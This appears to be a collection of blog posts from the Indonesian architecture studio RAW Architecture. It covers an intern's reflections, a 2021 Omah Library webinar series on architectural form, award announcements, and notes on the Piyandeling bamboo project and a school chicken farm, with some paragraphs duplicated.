Kepada orang-orang yang nantinya akan scroll down, membuka, dan menemukan saya pada laman site ini, apapun yang kalian cari entah sesederhana ingin lihat website, tulisan, kurator, maupun hasil karya dari RAW Architecture, saya sebagai anak magang ingin mengatakan bahwa it is indeed the best office in the world. ya, mungkin terdengar tidak valid karena kalimat tersebut keluar dari orang yang baru pertama kali magang. tapi memang itulah yang saya rasakan selama menjalani program magang di RAW Architecture. Disini saya mendapatkan banyak hal bermanfaat baik dari ilmu arsitekturnya, pengalaman di lapangan, hacks software arsitekturnya, sampai ke hal yang sama sekali bukan arsitektur. Dari kebersamaan yang saya rasakan bersama kakak-kakak disini, teman-teman sepermagangan, dan sedikit banyak hacks tentang kehidupan yang sering terlontar dari Kak Rich, yakni bagaimana merayakan hidup dengan memanusiakan manusia. Tidak mudah sejujurnya menjalani program magang yang disambi dengan perkuliahan, namun magang di RAW surprisingly tidak menjadi suatu hal yang seolah menambah beban. Sebaliknya justru dengan magang di RAW -lah yang membuat segalanya terasa lebih mudah. Dikelilingi orang-orang yang sangat terbuka untuk membagi ilmu, membagi insight, yang bisa diajak bertukar pikiran either itu tentang tugas magang maupun tugas kuliah membuat saya lupa bahwa hal yang saya sedang lakukan dan jalani ini seharusnya sulit dan banyak pressurenya. Mungkin akan terdengar klise tapi bisa menjadi bagian dari RAW Architecture adalah hal yang membuat saya tidak lupa untuk bersyukur tiap hari :)
Motivation Letter
Perkenalkan nama saya Joscelind Vallen Kawengian, seorang mahasiswa semester 7 yang berkuliah di program studi arsitektur, Universitas Kristen Petra Surabaya. Pada semester ini sebenarnya tidak ada kewajiban bagi saya maupun mahasiswa arsitektur di universitas untuk melakukan program magang, namun saya ingin memanfaatkan waktu dan kesempatan yang lebih longgar pada semester 7 ini dengan mengisinya lewat mengikuti program magang. Surat motivasi / surat refleksi ini saya tuliskan dalam rangka mengekspresikan rasa ketertarikan dan keingintahuan saya dalam mempelajari lebih lanjut mengenai arsitektur lewat program magang di RAW. Saya memilih RAW sebagai tempat untuk saya bisa belajar lebih dan menambah pengalaman baik dalam bidang arsitektur maupun dalam aspek-aspek kehidupan. Saya melihat RAW (khususnya kak Realrich) merupakan sosok yang suka berbagi ilmu dan saya melihat hal ini sebagai sebuah identitas yang tidak saya lihat di biro/firma arsitektur lain.Berangkat dari sinilah yang meningkatkan rasa ingin tahu saya terhadap Kak Rich maupun RAW terkait bagaimana dalam mengimplementasikan arsitektur yang sudah saya pelajari selama ini di kuliah ke prakteknya, bagaimana pola pikir Kak Rich maupun tim RAW dalam merespon suatu masalah baik dalam konteks arsitektur maupun diluarnya. Saya harap dengan bergabung lewat program magang di RAW saya bisa berpartisipasi dalam ikut mengembangkan tim design yang ada di RAW lewat apa yang selama ini sudah saya pelajari baik di perkuliahan maupun dari apa yang saya dapat di RAW. Sehingga saya tidak hanya ‘menerima’ saja tapi saya juga bisa ‘memberi’.
First of all, I would like to say thank you to Mr. Realrich Sjarief as well as RAW Architecture team for the opportunity to do internship for 5 months starting February – June 2021. It’s such an honor to be able to learn and directly experience the architectural work in real life, as a complement to what I’ve learned during architecture school. .
I spent one whole year at home attending online class and doing endless assignments. That is to say, I would never forget the day I first started to go outside on a daily basis to do my internship like I did for the past 5 months. My first day I went to Guha was an unforgettable experience. I experienced firsthand the infamous work of RAW Architecture and I can’t stop being in awe. Little did I know, though, the admiration to the works of RAW Architecture never stops on the first day. It continues on to the very last day.
. Here, I came with very little knowledge about architecture. But eventually I learned that at RAW, questions are encouraged, and soon enough I will learn a lot more about architecture. Truthfully, I feel like my 5 months internship at RAW Architecture has taught me more than my 5 semester in architecture school. It shown how impactful it is to learn firsthand and on site. As a result, I learned a lot of things that cannot be obtained anywhere else. I believe my experience during this internship period has taught me a very specific skill set that only RAW Architecture can provide. I achieved a lot of technical skills to improve my workflow using the software I’ve used before. But most importantly, I learned how to actively work on the task by asking questions, for example. Which was, again, very encouraged here. I also learned how to work effectively and systematically, which I directly learned from Realrich Sjarief himself. He taught me mistakes can be made, however there are a lot of things that can be done to prevent these mistakes from happening, which is to do work within a set of systems and sticking to it. Lastly, I would like to thank the RAW Architecture team once again for the opportunity to learn and improve throughout my internship period. There is always a room for improvement, as reflected in a never-ending improvement of Guha. I hope we won’t stop getting better after saying goodbye.
Satu ketika saya terbersit ide untuk membuat sebuah seminar isinya 7 orang yang memiliki latar belakang berbeda – beda mengenai bentuk. Latar belakangnya dari beberapa pengalaman perbincangan arsitektur yang baru terbatas di bentuk di sekitar saya. Beberapa orang saya kontak untuk memikirkan hal ini, saya mengontak Johannes Adiyanto pertama kali. Alasannya sederhana, karena dia tersedia dan mudah untuk di kontak, dan juga kami berkali – kali berkolaborasi bersama. Saya bilang ke dia “Mas aku mau buat webinar lagi, mau bantuin ngga ? mulai dua minggu lagi.” Pada saat itu saya juga ngga punya persiapan, yang saya rasa, diskursus mengenai bentuk akan sangat dibutuhkan mengingat bagaimana kecepatan dunia digital yang pembahasannya tidak bisa dalam, dan terkesan membahas bentuk dari produk bukan proses.
Ini rencana saya mula – mula, temanya Theory, Origin, Technique, Critique, Philosophy, Meaning.
Ia menjawab “Tunggu mas jam 20 an bisa ditelp ?” Dari situlah saya bercerita mengenai bagaimana pentingnya webinar kali ini untuk menguliti persoalan bentuk yang mungkin memiliki definisi berbeda dan patut untuk didiskusikan.
Sempat juga saya berdiskusi dengan Nanda Widyarta, ia berkomentar “Form, platonis banget euy,… tapi ini perlu. Orang suka susah bedakan shape dari form.”
Saya menjawab “… yang diperbincangan itu wujud atau bentuk… dua hal yang beda… Ada kompleksitas yang mungkin membuat pemahaman tentang ide tentang konsep bentuk perlu disadari dulu… apa artinya perlu pembahasan soal beda dan guna dulu ya … jadi praktis supaya jelas nanti aplikasi (nya).”
Nanda menjawab “Kemungkinan ada perbedaan konsep di dua budaya (kita dan barat). Di bahasa kita ga ada kata buat “form.” Adanya bentuk. Kata “wujud” diserap dari bahasa Arab. Tapi kita sering anggap wujud dan bentuk itu sama. Bukan sebuah handicap sih. tapi kita (dan umumnya orang sedunia) memamng kerap gagal melihat perbedaan pemahaman konsep2 di budaya2 berbeda… sepakat.”
Dari setelah saya berdiskusi dengan Jo, saya mengontak beberapa kawan – kawan pemateri dan semuanya tertarik. Undi Gunawan untuk teori, Johannes Widodo untuk asal mula, Setiadi Sopandi untuk kritik, Ryadi Adityavarman untuk teknik, Boonserm Premthada, khususnya untuk budaya, Johannes Adiyanto untuk filosofi,dan Revianto Budi Santosa untuk makna. Boonserm Premthada dan karyanya akan menjadi garis tengah gerbang untuk melihat sebuah karya yang memiliki konteks yang mengakar dari sudut pandang budaya. Setelah persiapan yang intensif dari tim Omah Library (Dimas, Hanifah, Satria) materi siap. Pertanyaan Hanifah atau yang sering kami panggil uffi, “Kak rich ini arahnya kemana ?”
Kejadian ini cukup lucu dan menggelitik dan setidaknya begitulah bentuk, sekonyong – konyong ia bisa menjadi arkitipe, yang secara tidak sadar bergerak secaral rasional, empirik ataupun intuitif, dari situ saya mendengar suara sayup – sayup di belakang telinga saya, mengingatkan saya.
“Realrich kamu nanya terus, kapan jalannya, ayo maju, anak – anak perlu jalan.”
Kelas Wacana Arsitektur – BENTUK | FORM]
Bentuk adalah hasil dari produksi pengetahuan arsitektur. Untuk memproduksi pengetahuan arsitektur melalui bentuk diperlukan pemahaman mengenai mengapa satu bentuk dibuat, dan apa dampak dari bentuk tersebut.
Webinar Omah library yang berjudul “Form | Rahasia dibalik sebuah bentuk” membahas bentuk dari sudut pandang teori arsitektur, asal mula (origin), teknik merangkai bentuk, kritik terhadap bentuk, metode desain sekaligus konteks alam dan budaya, filosofi dan pemaknaan. Berbagai sudut pandang ini memberikan peta bagaimana perjalanan sesorang menelusuri perjalanan proses membentuk bentuk. Beberapa pembicara yang akan mengisi acara ini adalah Undi Gunawan, Johannes Widodo, Ryadi Adityavarman, Boonserm Premthada, Johannes Adiyanto, dan Revianto Budi Santosa.
Arsitektur memiliki manifestasi kekuatan yang dahsyat melalui bentuk. Pertanyaannya bagaimana menjadi kreatif sekaligus kritis sehingga muncul hasrat untuk reflektif dan mempertanyakan keadaan sekaligus bersemangat untuk selalu progressif.
Theory Undi Gunawan 28 Juli 2021 pukul 19.00 WIB
Origin Johannes Widodo 4 Agustus 2021 pukul 19.00 WIB
Technique Ryadi Adityavarman 11 Agustus 2021 pukul 19.00 WIB
Critique Setiadi Sopandi 18 Agustus 2021 pukul 19.00 WIB
Culture Boonserm Premthada 25 Agustus 2021 pukul 19.00 WIB
Philosophy Johannes Adiyanto 1 September 2021 pukul 19.00 WIB
Meaning Revianto B. Santosa 8 September 2021 pukul 19.00 WIB
Silahkan mengisi form pendaftaran dan ikuti petunjuk konfirmasi: bit.ly/OMAH_FF
Untuk mengikuti webinar Omah Library diperlukan donasi sebesar 10.000 per sesi yang akan dipergunakan untuk meningkatkan literasi arsitektur dan mengapresiasi pengetahuan yang diberikan pembicara. Bagi yang berkeinginan mengikuti namun tidak mampu, mohon untuk mengirimkan surat ke kami karena webinar ini adalah ajang membangun kebersamaan.
Untuk mengikuti webinar Omah Library diperlukan donasi sebesar 10.000 per sesi yang akan dipergunakan untuk meningkatkan literasi arsitektur dan mengapresiasi pengetahuan yang diberikan pembicara. Bagi yang berkeinginan mengikuti namun tidak mampu, mohon untuk mengirimkan surat ke kami karena webinar ini adalah ajang membangun kebersamaan. Silahkan mengisi form pendaftaran dan ikuti petunjuk konfirmasi: bit.ly/OMAH_FFSilahkan mengisi form pendaftaran dan ikuti petunjuk konfirmasi: bit.ly/OMAH_FF
Semoga webinar ini mampu untuk mengobati kerinduan kita semua untuk bertemu, bertegur sapa, dan belajar di dalam situasi yang terbatas di masa pandemi.
Kami mencantumkan donasi untuk memberikan apresiasi terhadap ilmu materi yang diberikan oleh pemateri dan pembahas. Hal ini semoga akan memberikan sebuah siklus ekosistem yang sehat dan saling mengapresiasi untuk memproduksi ilmu pengetahuan. Silahkan mengisi form pendaftaran dan ikuti petunjuk konfirmasi: bit.ly/OMAH_FF
Translation :
The Story Behind the Bentuk | Form
One time I had the idea to make a seminar with 7 people from different backgrounds regarding Form. The background thinking is from some recent experience of limited architectural conversation in the Form around me. I contacted several people to think about this. At first, I called Johannes Adiyanto. The reason is simple: he is available and easy to reach, and we collaborate many times. I said to him, “Mas, I want to do another webinar. Do you want to help? It will start in two weeks.” At that time, I also didn’t have any preparation, which I think a discourse on Form will be very much needed considering how fast the digital world is. The discussion cannot be deep and seems to discuss the Form of the product the process.
This is my original plan. The theme is Theory, Origin, Technique, Critique, Philosophy, Meaning.
He replied, “Wait, mas at 20 can you call?” That’s where I talked about how vital this webinar is to address Form, which may have different definitions and deserves to be discussed.
I also had a discussion with Nanda Widyarta. He commented, “Form, it’s very Platonic, huh, but this is necessary. People like to find it difficult to distinguish shape from Form.”
I answered, “… what is being discussed is Form or Form… two different things… Some complexities might make understanding the idea of the concept of Form need to be realized first… what does it mean, we need to discuss about different and use it first… so it’s practical so that the application will be clear ).”
Nanda answered, “There may be differences in concepts in the two cultures (us and west). In our language, there is no word for “Form.” There is Bentuk. The word “Wujud” is taken from the Arabic language. But we often assume that shape and Form are the same. It’s not a handicap. but we (and the rest of the world in general) do often fail to see the different understandings of concepts in different cultures… agree.”
After I discussed it with Jo, I contacted several of the presenter’s friends, and all of them were interested. Undi Gunawan for theory, Johannes Widodo for origins, Setiadi Sopandi for criticism, Ryadi Adityavarman for technique, Boonserm Premthada, especially for culture, Johannes Adiyanto for philosophy, and Revianto Budi Santosa for meaning. Boonserm Premthada and his work will be the centerline of the gate to see a work that has a deep-rooted context from a cultural point of view. After intensive preparation from the Omah Library team (Dimas, Hanifah, Satria), the material was ready. Hanifah’s questioned me, or what we often call Uffi, is, “What is the narration big brother ?”
This incident is quite funny and intriguing, and at least that’s how it looks, suddenly it can become an archetype, which unconsciously moves rationally, empirically, or intuitively, from which I hear a faint voice behind my ear, reminding me.
“Realrich, you keep asking, when you want to walk the talk ? Let’s go. the Kids need to walk.”
Architectural Discourse Class – FORM | FORMS]
The Form is the result of the production of architectural knowledge. To produce architectural knowledge, we require an understanding of why a Form is created and knowing the impact of that Form.
Omah library webinar entitled “Form | The secret behind a form” discusses Form from the point of view of architectural theory, origin, techniques for assembling forms, criticism of Form, design methods as well as natural and cultural contexts, philosophy, and meaning. These various points of view provide a map of how a person’s journey traces the journey of the creation of Form. Some of the speakers who will fill this event are Undi Gunawan, Johannes Widodo, Ryadi Adityavarman, Boonserm Premthada, Johannes Adiyanto, and Revianto Budi Santosa.
Architecture has the manifestation of tremendous power through Form. The question is how to be creative and critical so that there is a desire to be reflective and question the situation and be eager to always be progressive.
theory Gunawan vote July 28, 2021, at 19.00 WIB
Origin Johannes Widodo August 4, 2021, at 19.00 WIB
Technique Ryadi Adityavarman August 11, 2021, at 19.00 WIB
Critique Setiadi Sopandi August 18, 2021, at 19.00 WIB
Culture Boonserm Premthada August 25, 2021, at 19.00 WIB
Philosophy Johannes Adiyanto September 1, 2021, at 19.00 WIB
Meaning Revianto B. Santosa September 8, 2021, at 19.00 WIB
Please fill out the registration form and follow the confirmation instructions: bit.ly/OMAH_FF
Participants’ donation of IDR 10,000 per session is encouraged To participate in the Omah Library Webinar. The gift will be used to improve architectural literacy and appreciate the knowledge provided by the speakers. For those who wish to attend but cannot donate, please send us a letter because this webinar is a place to build togetherness.
Hopefully, this webinar can cure all of us longing to meet, greet, and learn in a limited situation during the pandemic.
We include donations to give appreciation to the material science provided by the presenters and discussants. This will hopefully give a healthy and mutually appreciative ecosystem cycle for producing knowledge. Please fill out the registration form and follow the confirmation instructions: bit.ly/OMAH_FF
Elle wrote “The Wallpaper* Architects’ Directory 2021 includes RAW Architecture, the fast-emerging Indonesian practice set up by Realrich Sjarief”
Saya tidak pernah menyangka studio kami bisa masuk ke Wallpaper Magazine. Saya mengenal Wallpaper dari publikasi yang selalu mencari cerita / design yang avant garde. Proyek ini dinamakan direktori arsitek 2021. yang dimulai pada tahun 2000 yang berisi daftar bakat biro arsitek yang menjanjikan, Direktori Arsitek Wallpaper* adalah daftar tahunan tentang praktik “menjanjikan” dari seluruh dunia. Proyek dari Wallpaper ini telah, selama bertahun-tahun menampilkan gaya dan antar benua, sambil selalu memperjuangkan studio muda terbaik dan paling menarik. Proyek ini juga menampilkan karya inspiratif dengan penekanan pada tempat tinggal. Sekarang termasuk lebih dari 500 alumni dan terus bertambah, Direktori Arsitek kembali untuk edisi ke-21. Bergabunglah dengan kami saat kami meluncurkan survei tahun ini – 20 studio muda, dari Australia, Kanada, Cina, Kolombia, Ghana, India, Indonesia, Jepang, Malaysia, Meksiko, Belanda, Nigeria, Afrika Selatan, Korea Selatan, Spanyol, Swedia, AS, dan Inggris yang menjanjikan, penuh ide, dan arsitektur yang menarik.
Ellie Stathaki mengirim email 3 bulan yang lalu, dan setelah itu kita berdiskusi melalui email berkali – kali untuk menseleksi apakah studio kami bisa masuk di Wallpaper kali ini. Apa yang saya lakukan di studio beserta tim semoga bisa membawa kasus – kasus yang memberikan dampak pembelajaran bagi banyak orang. Dari praktik yang menggunakan lokal, adaptasi kekriyaan, dan bagaimana metode desain kritis, desain – membangun, dan integratif antar disiplin memberikan kelenturan bagi sebuah proses desain yang bisa berganti rupa.
I have received the info ” The forty buildings, designed and built with raw earth, plant fibres or both, have just been named finalists in the 3rd TERRAFIBRA Award. Check the list on the new website. While waiting for the presentation in images of the 40 finalists of the 2021 edition which will be presented in a travelling exhibition and associated book in November 2021, (re)discover the 90 finalists of the previous editions, TERRA Award 2016 and FIBRA Award 2019. The english version of the website is coming soon. “
Here is the description :
Atelier d’artisanat Piyandeling Bandung, Indonésie, Asie Matériaux : bambou, palmes Maîtrise d’ouvrage : Realrich Sjarief Conception et construction : Realrich Sjarief Réalisation : 2019
Here we are, Atelier d’artisanat Piyandeling Bandung, Indonésie, Asie Matériaux : bambou, palmes
The list of 40 finalists published on the new website
The forty buildings, designed and built with raw earth, plant fibres or both, have just been named finalists in the 3rd TERRAFIBRA Award. Check the list on the new website. While waiting for the presentation in images of the 40 finalists of the 2021 edition which will be presented in a travelling exhibition and associated book in November 2021, (re)discover the 90 finalists of the previous editions, TERRA Award 2016 and FIBRA Award 2019. The english version of the website is coming soon.
Satu minggu terakhir ini korban pandemi covid terus meningkat dari 10000-20000 sampai 30000 perhari, prokes yang ketat pun sudah dilakukan oleh kita semua. Hari – hari ini adalah hari yang tidak mudah bagi semua orang terdampak, anda dan juga kami adalah salah satunya. Jadi ketika berita dari @architizer sampai ke kami, saya berpikir prioritas pertama memberikan berita positif ini ke rekan tim, orang – orang yang terlibat termasuk pengrajin, tim desain, orang – orang yang terlibat supaya terus meningkatkan diri sembari berjaga – jaga tidak lengah di masa pandemi ini, dan tidak lupa mengucapkan terima kasih kepada panitia yang sudah memberikan banyak kesempatan berharga untuk kami. . Sebesar – besarnya harapan saya untuk kita semua adalah bagaimana arsitektur bisa memberikan dampak positif untuk kita semua,…terus jaga prokes untuk orang – orang di sekitar kita dan kebersamaan kita… . Our project Piyandeling in the Architecture+Sustainability was selected as a Finalist in this year’s Architizer A+Awards! Check it out: winners.architizer.com/2021/ #ArchitizerAwards” . Key Dates: June 15 – June 25, 2021: Popular Choice Award Voting. July 7, 2021: Architizer A+ Jury Winners and Popular Choice Winners Announced. . About Architizer: Architizer’s core mission is to Empower Architects, via our new marketplace connecting architects and building product manufacturers, and via our inspiring content, awards program, and global reach spotlighting the world’s best architecture. We connect architects with the tools they need to build better buildings, better cities, and a better world. . About the Awards: The Architizer A+Awards is the largest awards program focused on promoting and celebrating the year’s best architecture. Its mission is to nurture the appreciation of meaningful architecture in the world and champion its potential for a positive impact on everyday life with a global audience of 400+ million. . Judges: Finalists and Winners are chosen by our illustrious jury including such as Lesley Lokko, Alison Brooks, Nader Tehrani, and Tom Kundig, Karim Rashid (Karim Rashid), Yves Behar (Fuseproject), David Rockwell (Rockwell Group), and Aric Chen (Design Miami).
Last Sunday, I had a discussion with Gary and Ryoga. They are the next generation of Malaysian and Indonesian designers who will color the future of regional architecture. It’s explicit that their questions and point of view are about how to come back to their homeland and improve the discussions, discourse, making further dialogue to deconstruct the post-colonial limitation. It appreciates what the region has and improves it along the way with more analysis and participation to enrich the current progress and revealing state of each architecture DNA.
.
“Last Sunday, I had a discussion with Gary and Ryoga. They are the next generation of Malaysian and Indonesian designers who will color the future of regional architecture. It’s explicit that their questions and point of view are about how to come back to their homeland and improve the discussions, discourse, making further dialogue to deconstruct the post-colonial limitation. It appreciates what the region has and improves it along the way with more analysis and participation to enrich the current progress and revealing state of each architecture DNA.”
With the questions they raise in the session, I feel humbled and privileged to see their progress and curiosity. I shared about life around my practice, my library, the teaching, writing, and designing activity. The sharing is about to uncover the backstage of architecture practice, especially the relations with craftsmen, engineers, and my background as a builder. These realities unfold my consciousness and also remind me that the roots are just fundamental. It’s beyond form, beyond the collage of shapes. It’s a bricolage, a moment of growth.
“With the questions they raise in the session, I feel humbled and privileged to see their progress and curiosity. I shared about life around my practice, my library, the teaching, writing, and designing activity. The sharing is about to uncover the backstage of architecture practice, especially the relations with craftsmen, engineers, and my background as a builder. These realities unfold my consciousness and also remind me that the roots are just fundamental. It’s beyond form, beyond the collage of shapes. It’s a bricolage, a moment of growth.”
I met Gary from the last session in PAM (Malaysian Institute of Architect). At that moment, I can recall our discussion with Jan, Sarah, Joyee, and Haziq. I got this chance because of the session held by Design United in India, which I discuss with Jan and Anne Herringer, also Wendy Teoh at the event as panelists. Moments are stitched into another moment, I feel grateful to finally meet Gary and Ryoga, the promising architecture intellect.
Here is the conclusion from Gary, in the prologue of the Pod cast. He wrote
“ I have invited Realrich for a sharing session and discussion, along with Jan and Sarah to talk about other ways of doing architecture in PAM Event that I co-moderated with Joyee and Haziq. This topic comes even stronger in this second conversation, co-hosted with my friend Ryoga to further explore the architectural knowledge from both practical and pedagogical perspectives. In the end of this interview session, Realrich asked, ‘ what is the best ingredient of Indonesian architectural DNA?” – We wish to invite you to reflect and share with us as well! – Some might not think the cultural identity or locality is an important reference point in the design process, but it is, perhaps, subconsciously designing the thought and mentality of a designer to translate into produced works for the users. Maybe my take to answer Realrich, that the best ingredient is actually the awareness and actualisation with the materiality as a realistic composition… and most of the time this composition might be an incomplete collage of unpredictably beautiful pieces of time and memories… for more to come.” – garyeow, xyz
“ I have invited Realrich for a sharing session and discussion, along with Jan and Sarah to talk about other ways of doing architecture in PAM Event that I co-moderated with Joyee and Haziq. This topic comes even stronger in this second conversation, co-hosted with my friend Ryoga to further explore the architectural knowledge from both practical and pedagogical perspectives. In the end of this interview session, Realrich asked, ‘ what is the best ingredient of Indonesian architectural DNA?” – We wish to invite you to reflect and share with us as well! – Some might not think the cultural identity or locality is an important reference point in the design process, but it is, perhaps, subconsciously designing the thought and mentality of a designer to translate into produced works for the users. Maybe my take to answer Realrich, that the best ingredient is actually the awareness and actualisation with the materiality as a realistic composition… and most of the time this composition might be an incomplete collage of unpredictably beautiful pieces of time and memories… for more to come.” – garyeow, xyz
Gary and Ryoga brought the discussions in several milestone.
Alfa Omega School is the winner of 2020 IAI Jakarta Award. I hope the award will bring good to the school. I must say the situation in Alfa Omega has ups and downs. The founder, Lisa Sanusi, has the vision to bring the genuinely of the how the giving mode, or education should be feasible for young people. The problem is, how the cost is managed if the school if for free / subsidized. Then many programs has been executed such as being a parent that help the school fee for the kids. Me and Laurensia are also in the program of what Lisa Sanusi started.
Then there are necessity for the school to survive as daily business, that is why the school is executing it’s own chicken farm’s business. I have written the story of how the chicken coop could be model for sustaining this school model. The road is bumpy, and Lisa and her team are also fighting.
Lisa Sanusi Explaining her vision about Alfa Omega School. Her noble view somehow contaminated me to be a better human being.
Her vision support the approach of our design studio, and it has relations of many layers of craftsmanship’s, story of architect – clients. It’s beyond only form, or normative things. They are continuing the progress, and my prayer is with them.
Thank you IAI Jakarta for the opportunity and all of the jurors.
“Pak Amud, tolong ini digali diameter 3 m, saya ingin coba lihat dasar tanah urugnya, sampai tanah keras, setahu saya dulu pak Eddy menggali sampai – 2 meter dan membangun turap penahan tanah hampir 2 m.”
Proyek Piyandeling ini memiliki kesulitan karena lokasinya di puncak bukit, sulit mencari tenaga kerja dan lokasinya jauh dari keramaian. Saya mencoba mereka – reka eksperimen dengan menggunakan tulangan bambu dan beton, sejauh mana, bentuk drum ini bisa tahan, dan ekspresif dengan bahasa sederhananya “sekali jalan”. Sekali jalan ini pada dasarnya seperti sekali menumpahkan beton, kita sudah mendapatkan kekuatan struktural, estetika, dan fungsi ruangan.
Proyek Piyandeling ini memiliki kesulitan karena lokasinya di puncak bukit, sulit mencari tenaga kerja dan lokasinya jauh dari keramaian. Saya mencoba mereka – reka eksperimen dengan menggunakan tulangan bambu dan beton, sejauh mana, bentuk drum ini bisa tahan, dan ekspresif dengan bahasa sederhananya “sekali jalan”. Sekali jalan ini pada dasarnya seperti sekali menumpahkan beton, kita sudah mendapatkan kekuatan struktural, estetika, dan fungsi ruangan.
Pada waktu konstruksi di dasar dinding beton ada batu kali yang memang sudah ada disitu. Piyandeling sendiri ada permainan bahasa primitif, bahasa bentuk platonis. Di balik kesederhanaan ada keindahan untuk bisa dimengerti orang yang berkunjung.
Pada waktu konstruksi di dasar dinding beton ada batu kali yang memang sudah ada disitu. Piyandeling sendiri ada permainan bahasa primitif, bahasa bentuk platonis. Di balik kesederhanaan ada keindahan untuk bisa dimengerti orang yang berkunjung.
Seperti Repertoar lagu Fragmen dan Tembang Alit Indonesia yang dimainkan dengan indah oleh Gillian Geraldine, lagu ciptaan Jaya Suprana. Repertoar di arsitektur pun terkait dengan eksperimen – eksperimen adaptasi baru (Ibaratnya di arsitektur dikenal dengan detail tektonika – tektonika), gerakan yang unik yang belum pernah terjadi sementara itu juga mengacu pada catatan tradisional yang membuat kolaborasi keduanya membentuk Fragmen. Arsitektur juga mengalir seperti sungai seperti Tembang Alit. Ibaratnya di arsitektur dikenal dengan metode yang mengalir tanpa batas, sebuah usaha mewujudkan adaptasi keseharian, Bricolage.
Ini adalah contoh Repertoar Indonesia yang dimainkan dengan indah oleh Gillian, lagu (Fragmen dan Tembang Alit) ciptaan Jaya Suprana. Ini menyerupai eksperimen baru. Ibaratnya di arsitektur dikenal dengan detail tektonika – tektonika, gerakan yang belum pernah terjadi sebelumnya, sementara itu juga mengacu pada catatan tradisional yang membuat Fragmen. dan mengalir seperti sungai seperti Tembang Alit. Ibaratnya di arsitektur dikenal dengan metode yang mengalir tanpa batas, sebuah usaha mewujudkan adaptasi keseharian, Bricolage.
Pagi – pagi setelah saya berdoa dan bermeditasi, terkadang ada saja panggilan yang muncul. Dari mengingatkan untuk menjaga pola makan, mengingatkan untuk jangan lupa mengecek proyek ini itu, detail ini itu, dan jangan lupa ruangan untuk Laurensia, Miracle dan Heaven. Seperti halnya gua yang sedang dibangun di Piyandeling ini adalah sebuah usaha untuk menemukan kehangatan, termal, juga program, dan pengalaman, juga materialitas. Ruangan ini adalah ruangan doa yang paling hangat di Piyandeling dibangun dengan kehangatan pengrajin bambu.
Pagi – pagi setelah saya berdoa dan bermeditasi, terkadang ada saja panggilan yang muncul. Dari mengingatkan untuk menjaga pola makan, mengingatkan untuk jangan lupa mengecek proyek ini itu, detail ini itu, dan jangan lupa ruangan untuk Laurensia, Miracle dan Heaven. Seperti halnya gua yang sedang dibangun di Piyandeling ini adalah sebuah usaha untuk menemukan kehangatan, termal, juga program, dan pengalaman, juga materialitas. Ruangan ini adalah ruangan doa yang paling hangat di Piyandeling dibangun dengan kehangatan pengrajin bambu.
Terkadang saya melihat ke atas langit di piyandeling, melihat balok – balok yang melengkung saling bersilangan membentuk archetype tersendiri. Di dalam sentuhan tangan, lengkungan – lengkungan ruas – ruas bambu menonjolkan archetype alam, dengan kekuatannya yang tumbuh perlahan – lahan. Seakan – akan alam mengetuk, “mau lambat salah, mau cepat salah, jadi kamu maunya apa ?” Alam kemudian bertanya – tanya apa lagi setelah ini. Di dalam alam kreatif dan kritis, perjalanan arsitektur itu dimulai dengan kadang batuk – batuk, merangkak, dan kemudian tersenyum dalam prosesnya.
Terkadang saya melihat ke atas langit di piyandeling, melihat balok – balok yang melengkung saling bersilangan membentuk archetype tersendiri. Di dalam sentuhan tangan, lengkungan – lengkungan ruas – ruas bambu menonjolkan archetype alam, dengan kekuatannya yang tumbuh perlahan – lahan. Seakan – akan alam mengetuk, “mau lambat salah, mau cepat salah, jadi kamu maunya apa ?” Alam kemudian bertanya – tanya apa lagi setelah ini. Di dalam alam kreatif dan kritis, perjalanan arsitektur itu dimulai dengan kadang batuk – batuk, merangkak, dan kemudian tersenyum dalam prosesnya.
“Bu berapa telur hari ini yang siap ?” Bu Lisa menjawab, “kita kemarin dapat 80 pak, hari ini 210.” sekitar beberapa bulan ini, kami cukup sering bertemu.
Telur ayam yang kami bicarakan berasal dari peternakan ayam yang ada di sekolah Alfa Omega. Sekitar setahun yang lalu, ketika pandemi tiba, Bu Lisa bercerita bagaimana ia mendapatkan inspirasi dari seseorang yang sudah berhasil mengembangkan peternakan untuk membantu panti asuhan miliknya, namanya pak Gaspar. Dari situlah Bu Lisa mengajak saya untuk berkunjung ke peternakan tersebut. “Bu Lisa, sudah banyak membantu saya pak, sekarang saya ingin membantu ibu.” Kalimat tersebut muncul ketika saya menanyakan mengenai bagaimana beliau terhubung dengan Bu Lisa.
Pertanyaan – pertanyaan tersebut penting untuk dilontarkan sebelum memulai proyek kandang ayam tersebut yang dimulai dengan mempertanyakan hal – hal yang relevan, tentang siapa yang memulai, bagaimana harus memulai, dan apa saja hal – hal yang mungkin menghambat. Informasi tersebutpenting untuk membangun konteks, bagaimana satu hal terbentuk dan bagaimana satu hal mempengaruhi yang lain. Dari hal tersebut saya bisa belajar, untuk menghargai proses untuk tumbuh membutuhkan akar yang kuat.
Ketika satu saat saya berdiskusi dengan Laurensia, mengenai bagaimana Bu Lisa berjuang untuk menjalankan peternakan ayam petelurnya di Alfa Omaga. Satu saat kemudian Laurensia mengkontak beberapa relatif, ibu kami untuk bisa membantu menjualkan telur dari alfa omega. Hal – hal kecil ini mulai dari simpati saya dan Laurensia ke Bu Lisa dan keluarganya dan melihat bagaimana ia berjuang untuk sekolah Alfa Omega. Kami membantu, tidak perlu dibayar, kadang kami melihat Bu Lisa juga sedemikian, membantu tanpa perlu bayaran. Sebuah prinsip filosofi Jawa, Rame ing gawe,sepi ing pamrih, memayu hayuning bawono (giat bekerja,membantu dengan tanpa pamrih,memelihara alam semesta/ mengendalikan hawa nafsu).
Hari pertama, bisa terjual 80 telur, selanjutnya 150 telur, dan selanjutnya 200 telur. “Ada 4 ayam petelur yang mati pak” kata bu Lisa di satu pagi, telurnya terlalu besar jadi tidak bisa keluar. Hal – hal tersebut terjadi beruntun.
Nassim Nicholas Taleb di dalam buku Black Swan menulis mengenai hal – hal yang tidak terduga yang merubah proyeksi masa depan. Hal tersebut juga dibahas Malcolm Gladwell di dalam Tipping point dimana ada hal – hal kecil yang memicu lompatan kejadian – kejadian selanjutnya. dalam konteks proyek kandang ayam ini, prediksi dan antisipasi sangatlah penting di awal memulai berbisnis. Sesederhananya ada kejadian yang memang di luar kehendak, kuasa kita sebagai seseorang yang sedang berjalan di dalam karir, ekosistem bisnis, personal. Dan ada juga kejadian yang muncul karena persiapan yang matang, terprediksi dengan konsistensi. Kematangan tersebut muncul dari persiapan teknis yang baik, rapih, mudah dilaksanakan, efisien dan kritis. Hal – hal tersebut adalah permulaan proses kreatif. Saya mendiskusikan dengan Bu Lisa untuk pentingnya membersihkan kandang, memperhatikan ayam – ayam tersebut, dan mengganti 4 ayam yang mati.
